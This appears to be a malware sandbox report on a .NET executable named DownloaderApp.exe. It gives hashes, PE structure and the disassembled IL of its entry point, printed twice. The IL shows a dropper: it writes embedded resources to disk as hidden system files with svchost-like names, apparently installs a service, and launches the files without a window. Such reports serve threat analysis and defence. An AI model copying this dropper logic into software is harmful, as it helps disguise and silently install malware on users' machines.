Suspicious
Suspect

PE Executable
MD5: 2077635f6931c6ca9e678a8e2d4f8b89
Size: 5.45 MB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Low
MD5 2077635f6931c6ca9e678a8e2d4f8b89
Sha1 08cc6042523f0c725282f13ce3c960ddc112f4ef
Sha256 643cbddc08bcc23102d9d3faec6c8e6c75f45f036922f716c0d8e8a856d7b78d
Sha384 438a0984bff1063f42caddd7242085e29021c0dd1d0504130e5df311cd1074e1192d2d8a50248b357cb3c780e7780324
Sha512 0736b1815988387daaca2ca90d29093b1b93f93d34321dd86f07078534425b6460878ff37f66f99a0ebb5f82fe05e82296e097c5cfd6f436e89f5180132934a8
SSDeep 98304:zonYHo6EiPcxeJzAOOkv3d86Fx4+BxKmOH1ZaS4ayueNUGQvoF4XDfyZJiOSE:zonYHExqk07OlVYSG5NUrvVDf2tSE
TLSH FB46330A10C006E0D56F63B88AB59BB0B5D32A0F3BD7BA654D26319FE5813A1CF747D9
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NETPe123 v2006.4.4-4.12
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
WBr3UKftqqPo.H5LT6.06hpS
WBr3UKftqqPo.BpE2IM.Fxs7Z
WBr3UKftqqPo.WUASgy.vZdi
WBr3UKftqqPo.zSD4cy.tc4
Name Value
Info
PE Detect: PeReader OK (file layout)
Info
PDB Path: C:\10\boot\Downloader_win\DownloaderApp\DownloaderApp\obj\Release\DownloaderApp.pdb
Module Name
DownloaderApp.exe
Full Name
DownloaderApp.exe
EntryPoint
System.Void A.B::Main(System.String[])
Scope Name
DownloaderApp.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
DownloaderApp
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
29
Main Method
System.Void A.B::Main(System.String[])
Main IL Instruction Count
146
Main IL
call System.String System.IO.Path::GetTempPath()
ldstr svchostmanager.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.0 <null>
call System.String System.IO.Path::GetTempPath()
ldstr svchostam.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.1 <null>
ldstr WBr3UKftqqPo.WUASgy.vZdi
ldloc.0 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.0 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldstr WBr3UKftqqPo.zSD4cy.tc4
ldloc.1 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.1 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
leave.s IL_0049: call System.Boolean A.B::C()
pop <null>
leave.s IL_0049: call System.Boolean A.B::C()
call System.Boolean A.B::C()
brtrue.s IL_00C6: call System.Boolean System.Environment::get_UserInteractive()
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_007F: call System.Void A.B::D()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
call System.Void A.B::D()
leave.s IL_008C: ldc.i4 3000
pop <null>
leave IL_01AD: ret
ldc.i4 3000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_00C5: ret
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ret <null>
call System.Boolean System.Environment::get_UserInteractive()
brtrue.s IL_00D8: nop
newobj System.Void A.E::.ctor()
call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase)
ret <null>
nop <null>
ldstr svchosthelper.exe
stloc.2 <null>
ldstr systemhelper.exe
stloc.3 <null>
ldstr WindowsLogsHelper
stloc.s V_4
ldc.i4.s 36
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
dup <null>
ldloc.2 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_5
ldloc.3 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_6
ldstr WBr3UKftqqPo.H5LT6.06hpS
ldloc.s V_5
call System.Void A.B::F(System.String,System.String)
ldstr WBr3UKftqqPo.BpE2IM.Fxs7Z
ldloc.s V_6
call System.Void A.B::F(System.String,System.String)
ldloc.s V_5
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_6
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
call System.Void A.B::H()
ldloc.s V_5
ldloc.s V_4
call System.Void A.B::I(System.String,System.String)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_6
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.r8 3
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
call System.Boolean A.B::L(System.TimeSpan)
brfalse.s IL_01A8: leave.s IL_01AD
ldloc.s V_5
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_01A8: leave.s IL_01AD
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_5
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_01AD: ret
pop <null>
leave.s IL_01AD: ret
ret <null>
Module Name
DownloaderApp.exe
Full Name
DownloaderApp.exe
EntryPoint
System.Void A.B::Main(System.String[])
Scope Name
DownloaderApp.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
DownloaderApp
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
29
Main Method
System.Void A.B::Main(System.String[])
Main IL Instruction Count
146
Main IL
call System.String System.IO.Path::GetTempPath()
ldstr svchostmanager.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.0 <null>
call System.String System.IO.Path::GetTempPath()
ldstr svchostam.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.1 <null>
ldstr WBr3UKftqqPo.WUASgy.vZdi
ldloc.0 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.0 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldstr WBr3UKftqqPo.zSD4cy.tc4
ldloc.1 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.1 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
leave.s IL_0049: call System.Boolean A.B::C()
pop <null>
leave.s IL_0049: call System.Boolean A.B::C()
call System.Boolean A.B::C()
brtrue.s IL_00C6: call System.Boolean System.Environment::get_UserInteractive()
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_007F: call System.Void A.B::D()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
call System.Void A.B::D()
leave.s IL_008C: ldc.i4 3000
pop <null>
leave IL_01AD: ret
ldc.i4 3000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_00C5: ret
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ret <null>
call System.Boolean System.Environment::get_UserInteractive()
brtrue.s IL_00D8: nop
newobj System.Void A.E::.ctor()
call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase)
ret <null>
nop <null>
ldstr svchosthelper.exe
stloc.2 <null>
ldstr systemhelper.exe
stloc.3 <null>
ldstr WindowsLogsHelper
stloc.s V_4
ldc.i4.s 36
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
dup <null>
ldloc.2 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_5
ldloc.3 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_6
ldstr WBr3UKftqqPo.H5LT6.06hpS
ldloc.s V_5
call System.Void A.B::F(System.String,System.String)
ldstr WBr3UKftqqPo.BpE2IM.Fxs7Z
ldloc.s V_6
call System.Void A.B::F(System.String,System.String)
ldloc.s V_5
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_6
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
call System.Void A.B::H()
ldloc.s V_5
ldloc.s V_4
call System.Void A.B::I(System.String,System.String)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_6
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.r8 3
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
call System.Boolean A.B::L(System.TimeSpan)
brfalse.s IL_01A8: leave.s IL_01AD
ldloc.s V_5
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_01A8: leave.s IL_01AD
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_5
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_01AD: ret
pop <null>
leave.s IL_01AD: ret
ret <null>
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
WBr3UKftqqPo.H5LT6.06hpS
WBr3UKftqqPo.BpE2IM.Fxs7Z
WBr3UKftqqPo.WUASgy.vZdi
WBr3UKftqqPo.zSD4cy.tc4
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙